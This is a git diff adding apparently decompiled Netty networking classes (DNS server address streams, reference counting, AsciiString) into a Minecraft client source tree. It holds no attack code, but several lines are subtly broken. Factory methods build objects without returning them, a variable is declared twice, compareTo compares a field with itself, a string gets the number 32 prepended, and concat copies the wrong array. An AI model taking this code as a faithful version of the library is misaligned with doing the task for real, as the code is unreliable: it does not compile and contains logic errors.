+    return DEFAULT_NAME_SERVERS;
+  }
+  
+
+
+
+  public static DnsServerAddresses sequential(Iterable<? extends InetSocketAddress> addresses)
+  {
+    return sequential0(sanitize(addresses));
+  }
+  
+
+
+
+  public static DnsServerAddresses sequential(InetSocketAddress... addresses)
+  {
+    return sequential0(sanitize(addresses));
+  }
+  
+  private static DnsServerAddresses sequential0(InetSocketAddress... addresses) {
+    if (addresses.length == 1) {
+      return singleton(addresses[0]);
+    }
+    
+    new DefaultDnsServerAddresses("sequential", addresses)
+    {
+      public DnsServerAddressStream stream() {
+        return new SequentialDnsServerAddressStream(addresses, 0);
+      }
+    };
+  }
+  
+
+
+
+  public static DnsServerAddresses shuffled(Iterable<? extends InetSocketAddress> addresses)
+  {
+    return shuffled0(sanitize(addresses));
+  }
+  
+
+
+
+  public static DnsServerAddresses shuffled(InetSocketAddress... addresses)
+  {
+    return shuffled0(sanitize(addresses));
+  }
+  
+  private static DnsServerAddresses shuffled0(InetSocketAddress[] addresses) {
+    if (addresses.length == 1) {
+      return singleton(addresses[0]);
+    }
+    
+    new DefaultDnsServerAddresses("shuffled", addresses)
+    {
+      public DnsServerAddressStream stream() {
+        return new ShuffledDnsServerAddressStream(addresses);
+      }
+    };
+  }
+  
+
+
+
+
+
+  public static DnsServerAddresses rotational(Iterable<? extends InetSocketAddress> addresses)
+  {
+    return rotational0(sanitize(addresses));
+  }
+  
+
+
+
+
+
+  public static DnsServerAddresses rotational(InetSocketAddress... addresses)
+  {
+    return rotational0(sanitize(addresses));
+  }
+  
+  private static DnsServerAddresses rotational0(InetSocketAddress[] addresses) {
+    if (addresses.length == 1) {
+      return singleton(addresses[0]);
+    }
+    
+    return new RotationalDnsServerAddresses(addresses);
+  }
+  
+
+
+  public static DnsServerAddresses singleton(InetSocketAddress address)
+  {
+    if (address == null) {
+      throw new NullPointerException("address");
+    }
+    if (address.isUnresolved()) {
+      throw new IllegalArgumentException("cannot use an unresolved DNS server address: " + address);
+    }
+    
+    return new SingletonDnsServerAddresses(address);
+  }
+  
+  private static InetSocketAddress[] sanitize(Iterable<? extends InetSocketAddress> addresses) {
+    if (addresses == null) {
+      throw new NullPointerException("addresses");
+    }
+    List<InetSocketAddress> list;
+    List<InetSocketAddress> list;
+    if ((addresses instanceof Collection)) {
+      list = new ArrayList(((Collection)addresses).size());
+    } else {
+      list = new ArrayList(4);
+    }
+    
+    for (InetSocketAddress a : addresses) {
+      if (a == null) {
+        break;
+      }
+      if (a.isUnresolved()) {
+        throw new IllegalArgumentException("cannot use an unresolved DNS server address: " + a);
+      }
+      list.add(a);
+    }
+    
+    if (list.isEmpty()) {
+      throw new IllegalArgumentException("empty addresses");
+    }
+    
+    return (InetSocketAddress[])list.toArray(new InetSocketAddress[list.size()]);
+  }
+  
+  private static InetSocketAddress[] sanitize(InetSocketAddress[] addresses) {
+    if (addresses == null) {
+      throw new NullPointerException("addresses");
+    }
+    
+    List<InetSocketAddress> list = InternalThreadLocalMap.get().arrayList(addresses.length);
+    for (InetSocketAddress a : addresses) {
+      if (a == null) {
+        break;
+      }
+      if (a.isUnresolved()) {
+        throw new IllegalArgumentException("cannot use an unresolved DNS server address: " + a);
+      }
+      list.add(a);
+    }
+    
+    if (list.isEmpty()) {
+      return DEFAULT_NAME_SERVER_ARRAY;
+    }
+    
+    return (InetSocketAddress[])list.toArray(new InetSocketAddress[list.size()]);
+  }
+  
+  public DnsServerAddresses() {}
+  
+  public abstract DnsServerAddressStream stream();
+}
diff --git a/src/minecraft/io/netty/resolver/dns/InflightNameResolver.java b/src/minecraft/io/netty/resolver/dns/InflightNameResolver.java
new file mode 100644
index 0000000..23def42
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/InflightNameResolver.java
@@ -0,0 +1,131 @@
+package io.netty.resolver.dns;
+
+import io.netty.resolver.NameResolver;
+import io.netty.util.concurrent.EventExecutor;
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.FutureListener;
+import io.netty.util.concurrent.Promise;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+import java.util.List;
+import java.util.concurrent.ConcurrentMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class InflightNameResolver<T>
+  implements NameResolver<T>
+{
+  private final EventExecutor executor;
+  private final NameResolver<T> delegate;
+  private final ConcurrentMap<String, Promise<T>> resolvesInProgress;
+  private final ConcurrentMap<String, Promise<List<T>>> resolveAllsInProgress;
+  
+  InflightNameResolver(EventExecutor executor, NameResolver<T> delegate, ConcurrentMap<String, Promise<T>> resolvesInProgress, ConcurrentMap<String, Promise<List<T>>> resolveAllsInProgress)
+  {
+    this.executor = ((EventExecutor)ObjectUtil.checkNotNull(executor, "executor"));
+    this.delegate = ((NameResolver)ObjectUtil.checkNotNull(delegate, "delegate"));
+    this.resolvesInProgress = ((ConcurrentMap)ObjectUtil.checkNotNull(resolvesInProgress, "resolvesInProgress"));
+    this.resolveAllsInProgress = ((ConcurrentMap)ObjectUtil.checkNotNull(resolveAllsInProgress, "resolveAllsInProgress"));
+  }
+  
+  public Future<T> resolve(String inetHost)
+  {
+    return resolve(inetHost, executor.newPromise());
+  }
+  
+  public Future<List<T>> resolveAll(String inetHost)
+  {
+    return resolveAll(inetHost, executor.newPromise());
+  }
+  
+  public void close()
+  {
+    delegate.close();
+  }
+  
+  public Promise<T> resolve(String inetHost, Promise<T> promise)
+  {
+    return resolve(resolvesInProgress, inetHost, promise, false);
+  }
+  
+  public Promise<List<T>> resolveAll(String inetHost, Promise<List<T>> promise)
+  {
+    return resolve(resolveAllsInProgress, inetHost, promise, true);
+  }
+  
+
+
+  private <U> Promise<U> resolve(final ConcurrentMap<String, Promise<U>> resolveMap, final String inetHost, final Promise<U> promise, boolean resolveAll)
+  {
+    Promise<U> earlyPromise = (Promise)resolveMap.putIfAbsent(inetHost, promise);
+    if (earlyPromise != null)
+    {
+      if (earlyPromise.isDone()) {
+        transferResult(earlyPromise, promise);
+      } else {
+        earlyPromise.addListener(new FutureListener()
+        {
+          public void operationComplete(Future<U> f) throws Exception {
+            InflightNameResolver.transferResult(f, promise);
+          }
+        });
+      }
+    } else {
+      try {
+        if (resolveAll)
+        {
+          Promise<List<T>> castPromise = promise;
+          delegate.resolveAll(inetHost, castPromise);
+        }
+        else {
+          Promise<T> castPromise = promise;
+          delegate.resolve(inetHost, castPromise);
+        }
+      } finally {
+        if (promise.isDone()) {
+          resolveMap.remove(inetHost);
+        } else {
+          promise.addListener(new FutureListener()
+          {
+            public void operationComplete(Future<U> f) throws Exception {
+              resolveMap.remove(inetHost);
+            }
+          });
+        }
+      }
+    }
+    
+    return promise;
+  }
+  
+  private static <T> void transferResult(Future<T> src, Promise<T> dst) {
+    if (src.isSuccess()) {
+      dst.trySuccess(src.getNow());
+    } else {
+      dst.tryFailure(src.cause());
+    }
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + '(' + delegate + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/NoopDnsCache.java b/src/minecraft/io/netty/resolver/dns/NoopDnsCache.java
new file mode 100644
index 0000000..e82314b
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/NoopDnsCache.java
@@ -0,0 +1,67 @@
+package io.netty.resolver.dns;
+
+import io.netty.channel.EventLoop;
+import io.netty.handler.codec.dns.DnsRecord;
+import java.net.InetAddress;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class NoopDnsCache
+  implements DnsCache
+{
+  public static final NoopDnsCache INSTANCE = new NoopDnsCache();
+  
+
+
+  private NoopDnsCache() {}
+  
+
+
+  public void clear() {}
+  
+
+
+  public boolean clear(String hostname)
+  {
+    return false;
+  }
+  
+  public List<DnsCacheEntry> get(String hostname, DnsRecord[] additionals)
+  {
+    return Collections.emptyList();
+  }
+  
+
+
+  public void cache(String hostname, DnsRecord[] additional, InetAddress address, long originalTtl, EventLoop loop) {}
+  
+
+
+  public void cache(String hostname, DnsRecord[] additional, Throwable cause, EventLoop loop) {}
+  
+
+  public String toString()
+  {
+    return NoopDnsCache.class.getSimpleName();
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/RotationalDnsServerAddresses.java b/src/minecraft/io/netty/resolver/dns/RotationalDnsServerAddresses.java
new file mode 100644
index 0000000..3852a81
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/RotationalDnsServerAddresses.java
@@ -0,0 +1,59 @@
+package io.netty.resolver.dns;
+
+import io.netty.util.internal.PlatformDependent;
+import java.net.InetSocketAddress;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class RotationalDnsServerAddresses
+  extends DefaultDnsServerAddresses
+{
+  private static final AtomicIntegerFieldUpdater<RotationalDnsServerAddresses> startIdxUpdater;
+  private volatile int startIdx;
+  
+  static
+  {
+    AtomicIntegerFieldUpdater<RotationalDnsServerAddresses> updater = PlatformDependent.newAtomicIntegerFieldUpdater(RotationalDnsServerAddresses.class, "startIdx");
+    
+
+    if (updater == null) {
+      updater = AtomicIntegerFieldUpdater.newUpdater(RotationalDnsServerAddresses.class, "startIdx");
+    }
+    
+    startIdxUpdater = updater;
+  }
+  
+
+
+  RotationalDnsServerAddresses(InetSocketAddress[] addresses)
+  {
+    super("rotational", addresses);
+  }
+  
+  public DnsServerAddressStream stream()
+  {
+    for (;;) {
+      int curStartIdx = startIdx;
+      int nextStartIdx = curStartIdx + 1;
+      if (nextStartIdx >= addresses.length) {
+        nextStartIdx = 0;
+      }
+      if (startIdxUpdater.compareAndSet(this, curStartIdx, nextStartIdx)) {
+        return new SequentialDnsServerAddressStream(addresses, curStartIdx);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/RoundRobinDnsAddressResolverGroup.java b/src/minecraft/io/netty/resolver/dns/RoundRobinDnsAddressResolverGroup.java
new file mode 100644
index 0000000..1c7125d
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/RoundRobinDnsAddressResolverGroup.java
@@ -0,0 +1,57 @@
+package io.netty.resolver.dns;
+
+import io.netty.channel.ChannelFactory;
+import io.netty.channel.EventLoop;
+import io.netty.channel.socket.DatagramChannel;
+import io.netty.resolver.AddressResolver;
+import io.netty.resolver.NameResolver;
+import io.netty.resolver.RoundRobinInetSocketAddressResolver;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RoundRobinDnsAddressResolverGroup
+  extends DnsAddressResolverGroup
+{
+  public RoundRobinDnsAddressResolverGroup(Class<? extends DatagramChannel> channelType, DnsServerAddresses nameServerAddresses)
+  {
+    super(channelType, nameServerAddresses);
+  }
+  
+
+  public RoundRobinDnsAddressResolverGroup(ChannelFactory<? extends DatagramChannel> channelFactory, DnsServerAddresses nameServerAddresses)
+  {
+    super(channelFactory, nameServerAddresses);
+  }
+  
+
+  protected final AddressResolver<InetSocketAddress> newAddressResolver(EventLoop eventLoop, NameResolver<InetAddress> resolver)
+    throws Exception
+  {
+    return new RoundRobinInetSocketAddressResolver(eventLoop, resolver);
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/SequentialDnsServerAddressStream.java b/src/minecraft/io/netty/resolver/dns/SequentialDnsServerAddressStream.java
new file mode 100644
index 0000000..534846f
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/SequentialDnsServerAddressStream.java
@@ -0,0 +1,61 @@
+package io.netty.resolver.dns;
+
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SequentialDnsServerAddressStream
+  implements DnsServerAddressStream
+{
+  private final InetSocketAddress[] addresses;
+  private int i;
+  
+  SequentialDnsServerAddressStream(InetSocketAddress[] addresses, int startIdx)
+  {
+    this.addresses = addresses;
+    i = startIdx;
+  }
+  
+  public InetSocketAddress next()
+  {
+    int i = this.i;
+    InetSocketAddress next = addresses[i];
+    i++; if (i < addresses.length) {
+      this.i = i;
+    } else {
+      this.i = 0;
+    }
+    return next;
+  }
+  
+  public String toString()
+  {
+    return toString("sequential", i, addresses);
+  }
+  
+  static String toString(String type, int index, InetSocketAddress[] addresses) {
+    StringBuilder buf = new StringBuilder(type.length() + 2 + addresses.length * 16);
+    buf.append(type).append("(index: ").append(index);
+    buf.append(", addrs: (");
+    for (InetSocketAddress a : addresses) {
+      buf.append(a).append(", ");
+    }
+    
+    buf.setLength(buf.length() - 2);
+    buf.append("))");
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/ShuffledDnsServerAddressStream.java b/src/minecraft/io/netty/resolver/dns/ShuffledDnsServerAddressStream.java
new file mode 100644
index 0000000..76fb9ea
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/ShuffledDnsServerAddressStream.java
@@ -0,0 +1,64 @@
+package io.netty.resolver.dns;
+
+import io.netty.util.internal.ThreadLocalRandom;
+import java.net.InetSocketAddress;
+import java.util.Random;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ShuffledDnsServerAddressStream
+  implements DnsServerAddressStream
+{
+  private final InetSocketAddress[] addresses;
+  private int i;
+  
+  ShuffledDnsServerAddressStream(InetSocketAddress[] addresses)
+  {
+    this.addresses = ((InetSocketAddress[])addresses.clone());
+    
+    shuffle();
+  }
+  
+  private void shuffle() {
+    InetSocketAddress[] addresses = this.addresses;
+    Random r = ThreadLocalRandom.current();
+    
+    for (int i = addresses.length - 1; i >= 0; i--) {
+      InetSocketAddress tmp = addresses[i];
+      int j = r.nextInt(i + 1);
+      addresses[i] = addresses[j];
+      addresses[j] = tmp;
+    }
+  }
+  
+  public InetSocketAddress next()
+  {
+    int i = this.i;
+    InetSocketAddress next = addresses[i];
+    i++; if (i < addresses.length) {
+      this.i = i;
+    } else {
+      this.i = 0;
+      shuffle();
+    }
+    return next;
+  }
+  
+  public String toString()
+  {
+    return SequentialDnsServerAddressStream.toString("shuffled", i, addresses);
+  }
+}
diff --git a/src/minecraft/io/netty/resolver/dns/SingletonDnsServerAddresses.java b/src/minecraft/io/netty/resolver/dns/SingletonDnsServerAddresses.java
new file mode 100644
index 0000000..ee4135a
--- /dev/null
+++ b/src/minecraft/io/netty/resolver/dns/SingletonDnsServerAddresses.java
@@ -0,0 +1,52 @@
+package io.netty.resolver.dns;
+
+import java.net.InetSocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class SingletonDnsServerAddresses
+  extends DnsServerAddresses
+{
+  private final InetSocketAddress address;
+  private final String strVal;
+  private final DnsServerAddressStream stream = new DnsServerAddressStream()
+  {
+    public InetSocketAddress next() {
+      return address;
+    }
+    
+    public String toString()
+    {
+      return SingletonDnsServerAddresses.this.toString();
+    }
+  };
+  
+  SingletonDnsServerAddresses(InetSocketAddress address) {
+    this.address = address;
+    strVal = (32 + "singleton(" + address + ')');
+  }
+  
+  public DnsServerAddressStream stream()
+  {
+    return stream;
+  }
+  
+  public String toString()
+  {
+    return strVal;
+  }
+}
diff --git a/src/minecraft/io/netty/util/AbstractConstant.java b/src/minecraft/io/netty/util/AbstractConstant.java
new file mode 100644
index 0000000..ef674be
--- /dev/null
+++ b/src/minecraft/io/netty/util/AbstractConstant.java
@@ -0,0 +1,88 @@
+package io.netty.util;
+
+import java.util.concurrent.atomic.AtomicLong;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractConstant<T extends AbstractConstant<T>>
+  implements Constant<T>
+{
+  private static final AtomicLong uniqueIdGenerator = new AtomicLong();
+  
+  private final int id;
+  
+  private final String name;
+  private final long uniquifier;
+  
+  protected AbstractConstant(int id, String name)
+  {
+    this.id = id;
+    this.name = name;
+    uniquifier = uniqueIdGenerator.getAndIncrement();
+  }
+  
+  public final String name()
+  {
+    return name;
+  }
+  
+  public final int id()
+  {
+    return id;
+  }
+  
+  public final String toString()
+  {
+    return name();
+  }
+  
+  public final int hashCode()
+  {
+    return super.hashCode();
+  }
+  
+  public final boolean equals(Object obj)
+  {
+    return super.equals(obj);
+  }
+  
+  public final int compareTo(T o)
+  {
+    if (this == o) {
+      return 0;
+    }
+    
+
+    AbstractConstant<T> other = o;
+    
+
+    int returnCode = hashCode() - other.hashCode();
+    if (returnCode != 0) {
+      return returnCode;
+    }
+    
+    if (uniquifier < uniquifier) {
+      return -1;
+    }
+    if (uniquifier > uniquifier) {
+      return 1;
+    }
+    
+    throw new Error("failed to compare two different constants");
+  }
+}
diff --git a/src/minecraft/io/netty/util/AbstractReferenceCounted.java b/src/minecraft/io/netty/util/AbstractReferenceCounted.java
new file mode 100644
index 0000000..216b5ba
--- /dev/null
+++ b/src/minecraft/io/netty/util/AbstractReferenceCounted.java
@@ -0,0 +1,133 @@
+package io.netty.util;
+
+import io.netty.util.internal.PlatformDependent;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractReferenceCounted
+  implements ReferenceCounted
+{
+  private static final AtomicIntegerFieldUpdater<AbstractReferenceCounted> refCntUpdater;
+  
+  static
+  {
+    AtomicIntegerFieldUpdater<AbstractReferenceCounted> updater = PlatformDependent.newAtomicIntegerFieldUpdater(AbstractReferenceCounted.class, "refCnt");
+    
+    if (updater == null) {
+      updater = AtomicIntegerFieldUpdater.newUpdater(AbstractReferenceCounted.class, "refCnt");
+    }
+    refCntUpdater = updater;
+  }
+  
+  private volatile int refCnt = 1;
+  
+  public final int refCnt()
+  {
+    return refCnt;
+  }
+  
+
+
+  protected final void setRefCnt(int refCnt)
+  {
+    this.refCnt = refCnt;
+  }
+  
+  public ReferenceCounted retain()
+  {
+    for (;;) {
+      int refCnt = this.refCnt;
+      if (refCnt == 0) {
+        throw new IllegalReferenceCountException(0, 1);
+      }
+      if (refCnt == Integer.MAX_VALUE) {
+        throw new IllegalReferenceCountException(Integer.MAX_VALUE, 1);
+      }
+      if (refCntUpdater.compareAndSet(this, refCnt, refCnt + 1)) {
+        break;
+      }
+    }
+    return this;
+  }
+  
+  public ReferenceCounted retain(int increment)
+  {
+    if (increment <= 0) {
+      throw new IllegalArgumentException("increment: " + increment + " (expected: > 0)");
+    }
+    for (;;)
+    {
+      int refCnt = this.refCnt;
+      if (refCnt == 0) {
+        throw new IllegalReferenceCountException(0, 1);
+      }
+      if (refCnt > Integer.MAX_VALUE - increment) {
+        throw new IllegalReferenceCountException(refCnt, increment);
+      }
+      if (refCntUpdater.compareAndSet(this, refCnt, refCnt + increment)) {
+        break;
+      }
+    }
+    return this;
+  }
+  
+  public final boolean release()
+  {
+    for (;;) {
+      int refCnt = this.refCnt;
+      if (refCnt == 0) {
+        throw new IllegalReferenceCountException(0, -1);
+      }
+      
+      if (refCntUpdater.compareAndSet(this, refCnt, refCnt - 1)) {
+        if (refCnt == 1) {
+          deallocate();
+          return true;
+        }
+        return false;
+      }
+    }
+  }
+  
+  public final boolean release(int decrement)
+  {
+    if (decrement <= 0) {
+      throw new IllegalArgumentException("decrement: " + decrement + " (expected: > 0)");
+    }
+    for (;;)
+    {
+      int refCnt = this.refCnt;
+      if (refCnt < decrement) {
+        throw new IllegalReferenceCountException(refCnt, -decrement);
+      }
+      
+      if (refCntUpdater.compareAndSet(this, refCnt, refCnt - decrement)) {
+        if (refCnt == decrement) {
+          deallocate();
+          return true;
+        }
+        return false;
+      }
+    }
+  }
+  
+  public AbstractReferenceCounted() {}
+  
+  protected abstract void deallocate();
+}
diff --git a/src/minecraft/io/netty/util/AsciiString.java b/src/minecraft/io/netty/util/AsciiString.java
new file mode 100644
index 0000000..89818de
--- /dev/null
+++ b/src/minecraft/io/netty/util/AsciiString.java
@@ -0,0 +1,1878 @@
+package io.netty.util;
+
+import io.netty.util.internal.EmptyArrays;
+import io.netty.util.internal.InternalThreadLocalMap;
+import io.netty.util.internal.MathUtil;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import java.nio.ByteBuffer;
+import java.nio.CharBuffer;
+import java.nio.charset.Charset;
+import java.nio.charset.CharsetEncoder;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class AsciiString
+  implements CharSequence, Comparable<CharSequence>
+{
+  public static final AsciiString EMPTY_STRING = new AsciiString("");
+  
+
+
+  private static final char MAX_CHAR_VALUE = 'ÿ';
+  
+
+
+  public static final int INDEX_NOT_FOUND = -1;
+  
+
+
+  private final byte[] value;
+  
+
+
+  private final int offset;
+  
+
+  private final int length;
+  
+
+  private int hash;
+  
+
+  private String string;
+  
+
+
+  public AsciiString(byte[] value)
+  {
+    this(value, true);
+  }
+  
+
+
+
+  public AsciiString(byte[] value, boolean copy)
+  {
+    this(value, 0, value.length, copy);
+  }
+  
+
+
+
+
+  public AsciiString(byte[] value, int start, int length, boolean copy)
+  {
+    if (copy) {
+      this.value = Arrays.copyOfRange(value, start, start + length);
+      offset = 0;
+    } else {
+      if (MathUtil.isOutOfBounds(start, length, value.length)) {
+        throw new IndexOutOfBoundsException("expected: 0 <= start(" + start + ") <= start + length(" + length + ") <= " + "value.length(" + value.length + ')');
+      }
+      
+      this.value = value;
+      offset = start;
+    }
+    this.length = length;
+  }
+  
+
+
+
+  public AsciiString(ByteBuffer value)
+  {
+    this(value, true);
+  }
+  
+
+
+
+
+
+  public AsciiString(ByteBuffer value, boolean copy)
+  {
+    this(value, value.position(), value.remaining(), copy);
+  }
+  
+
+
+
+
+
+  public AsciiString(ByteBuffer value, int start, int length, boolean copy)
+  {
+    if (MathUtil.isOutOfBounds(start, length, value.capacity())) {
+      throw new IndexOutOfBoundsException("expected: 0 <= start(" + start + ") <= start + length(" + length + ") <= " + "value.capacity(" + value.capacity() + ')');
+    }
+    
+
+    if (value.hasArray()) {
+      if (copy) {
+        int bufferOffset = value.arrayOffset() + start;
+        this.value = Arrays.copyOfRange(value.array(), bufferOffset, bufferOffset + length);
+        offset = 0;
+      } else {
+        this.value = value.array();
+        offset = start;
+      }
+    } else {
+      this.value = new byte[length];
+      int oldPos = value.position();
+      value.get(this.value, 0, length);
+      value.position(oldPos);
+      offset = 0;
+    }
+    this.length = length;
+  }
+  
+
+
+  public AsciiString(char[] value)
+  {
+    this(value, 0, value.length);
+  }
+  
+
+
+
+  public AsciiString(char[] value, int start, int length)
+  {
+    if (MathUtil.isOutOfBounds(start, length, value.length)) {
+      throw new IndexOutOfBoundsException("expected: 0 <= start(" + start + ") <= start + length(" + length + ") <= " + "value.length(" + value.length + ')');
+    }
+    
+
+    this.value = new byte[length];
+    int i = 0; for (int j = start; i < length; j++) {
+      this.value[i] = c2b(value[j]);i++;
+    }
+    offset = 0;
+    this.length = length;
+  }
+  
+
+
+  public AsciiString(char[] value, Charset charset)
+  {
+    this(value, charset, 0, value.length);
+  }
+  
+
+
+
+  public AsciiString(char[] value, Charset charset, int start, int length)
+  {
+    CharBuffer cbuf = CharBuffer.wrap(value, start, length);
+    CharsetEncoder encoder = CharsetUtil.encoder(charset);
+    ByteBuffer nativeBuffer = ByteBuffer.allocate((int)(encoder.maxBytesPerChar() * length));
+    encoder.encode(cbuf, nativeBuffer, true);
+    int bufferOffset = nativeBuffer.arrayOffset();
+    this.value = Arrays.copyOfRange(nativeBuffer.array(), bufferOffset, bufferOffset + nativeBuffer.position());
+    offset = 0;
+    this.length = this.value.length;
+  }
+  
+
+
+  public AsciiString(CharSequence value)
+  {
+    this(value, 0, value.length());
+  }
+  
+
+
+
+  public AsciiString(CharSequence value, int start, int length)
+  {
+    if (MathUtil.isOutOfBounds(start, length, value.length())) {
+      throw new IndexOutOfBoundsException("expected: 0 <= start(" + start + ") <= start + length(" + length + ") <= " + "value.length(" + value.length() + ')');
+    }
+    
+
+    this.value = new byte[length];
+    int i = 0; for (int j = start; i < length; j++) {
+      this.value[i] = c2b(value.charAt(j));i++;
+    }
+    offset = 0;
+    this.length = length;
+  }
+  
+
+
+  public AsciiString(CharSequence value, Charset charset)
+  {
+    this(value, charset, 0, value.length());
+  }
+  
+
+
+
+  public AsciiString(CharSequence value, Charset charset, int start, int length)
+  {
+    CharBuffer cbuf = CharBuffer.wrap(value, start, start + length);
+    CharsetEncoder encoder = CharsetUtil.encoder(charset);
+    ByteBuffer nativeBuffer = ByteBuffer.allocate((int)(encoder.maxBytesPerChar() * length));
+    encoder.encode(cbuf, nativeBuffer, true);
+    int offset = nativeBuffer.arrayOffset();
+    this.value = Arrays.copyOfRange(nativeBuffer.array(), offset, offset + nativeBuffer.position());
+    this.offset = 0;
+    this.length = this.value.length;
+  }
+  
+
+
+
+
+  public int forEachByte(ByteProcessor visitor)
+    throws Exception
+  {
+    return forEachByte0(0, length(), visitor);
+  }
+  
+
+
+
+
+
+  public int forEachByte(int index, int length, ByteProcessor visitor)
+    throws Exception
+  {
+    if (MathUtil.isOutOfBounds(index, length, length())) {
+      throw new IndexOutOfBoundsException("expected: 0 <= index(" + index + ") <= start + length(" + length + ") <= " + "length(" + length() + ')');
+    }
+    
+    return forEachByte0(index, length, visitor);
+  }
+  
+  private int forEachByte0(int index, int length, ByteProcessor visitor) throws Exception {
+    int len = offset + index + length;
+    for (int i = offset + index; i < len; i++) {
+      if (!visitor.process(value[i])) {
+        return i - offset;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+  public int forEachByteDesc(ByteProcessor visitor)
+    throws Exception
+  {
+    return forEachByteDesc0(0, length(), visitor);
+  }
+  
+
+
+
+
+
+  public int forEachByteDesc(int index, int length, ByteProcessor visitor)
+    throws Exception
+  {
+    if (MathUtil.isOutOfBounds(index, length, length())) {
+      throw new IndexOutOfBoundsException("expected: 0 <= index(" + index + ") <= start + length(" + length + ") <= " + "length(" + length() + ')');
+    }
+    
+    return forEachByteDesc0(index, length, visitor);
+  }
+  
+  private int forEachByteDesc0(int index, int length, ByteProcessor visitor) throws Exception {
+    int end = offset + index;
+    for (int i = offset + index + length - 1; i >= end; i--) {
+      if (!visitor.process(value[i])) {
+        return i - offset;
+      }
+    }
+    return -1;
+  }
+  
+
+  public byte byteAt(int index)
+  {
+    if ((index < 0) || (index >= length)) {
+      throw new IndexOutOfBoundsException("index: " + index + " must be in the range [0," + length + ")");
+    }
+    
+    if (PlatformDependent.hasUnsafe()) {
+      return PlatformDependent.getByte(value, index + offset);
+    }
+    return value[(index + offset)];
+  }
+  
+
+
+  public boolean isEmpty()
+  {
+    return length == 0;
+  }
+  
+
+
+
+  public int length()
+  {
+    return length;
+  }
+  
+
+
+
+  public void arrayChanged()
+  {
+    string = null;
+    hash = 0;
+  }
+  
+
+
+
+
+
+
+  public byte[] array()
+  {
+    return value;
+  }
+  
+
+
+
+
+  public int arrayOffset()
+  {
+    return offset;
+  }
+  
+
+
+
+  public boolean isEntireArrayUsed()
+  {
+    return (offset == 0) && (length == value.length);
+  }
+  
+
+
+  public byte[] toByteArray()
+  {
+    return toByteArray(0, length());
+  }
+  
+
+
+
+  public byte[] toByteArray(int start, int end)
+  {
+    return Arrays.copyOfRange(value, start + offset, end + offset);
+  }
+  
+
+
+
+
+
+
+
+  public void copy(int srcIdx, byte[] dst, int dstIdx, int length)
+  {
+    if (MathUtil.isOutOfBounds(srcIdx, length, length())) {
+      throw new IndexOutOfBoundsException("expected: 0 <= srcIdx(" + srcIdx + ") <= srcIdx + length(" + length + ") <= srcLen(" + length() + ')');
+    }
+    
+
+    System.arraycopy(value, srcIdx + offset, ObjectUtil.checkNotNull(dst, "dst"), dstIdx, length);
+  }
+  
+  public char charAt(int index)
+  {
+    return b2c(byteAt(index));
+  }
+  
+
+
+
+
+
+  public boolean contains(CharSequence cs)
+  {
+    return indexOf(cs) >= 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int compareTo(CharSequence string)
+  {
+    if (this == string) {
+      return 0;
+    }
+    
+
+    int length1 = length();
+    int length2 = string.length();
+    int minLength = Math.min(length1, length2);
+    int i = 0; for (int j = arrayOffset(); i < minLength; j++) {
+      int result = b2c(value[j]) - string.charAt(i);
+      if (result != 0) {
+        return result;
+      }
+      i++;
+    }
+    
+
+
+
+
+    return length1 - length2;
+  }
+  
+
+
+
+
+
+  public AsciiString concat(CharSequence string)
+  {
+    int thisLen = length();
+    int thatLen = string.length();
+    if (thatLen == 0) {
+      return this;
+    }
+    
+    if (string.getClass() == AsciiString.class) {
+      AsciiString that = (AsciiString)string;
+      if (isEmpty()) {
+        return that;
+      }
+      
+      byte[] newValue = new byte[thisLen + thatLen];
+      System.arraycopy(value, arrayOffset(), newValue, 0, thisLen);
+      System.arraycopy(value, that.arrayOffset(), newValue, thisLen, thatLen);
+      return new AsciiString(newValue, false);
+    }
+    
+    if (isEmpty()) {
+      return new AsciiString(string);
+    }
+    
+    byte[] newValue = new byte[thisLen + thatLen];
+    System.arraycopy(value, arrayOffset(), newValue, 0, thisLen);
+    int i = thisLen; for (int j = 0; i < newValue.length; j++) {
+      newValue[i] = c2b(string.charAt(j));i++;
+    }
+    
+    return new AsciiString(newValue, false);
+  }
+  
+
+
+
+
+
+
+  public boolean endsWith(CharSequence suffix)
+  {
+    int suffixLen = suffix.length();
+    return regionMatches(length() - suffixLen, suffix, 0, suffixLen);
+  }
+  
+
+
+
+
+
+
+  public boolean contentEqualsIgnoreCase(CharSequence string)
+  {
+    if ((string == null) || (string.length() != length())) {
+      return false;
+    }
+    
+    if (string.getClass() == AsciiString.class) {
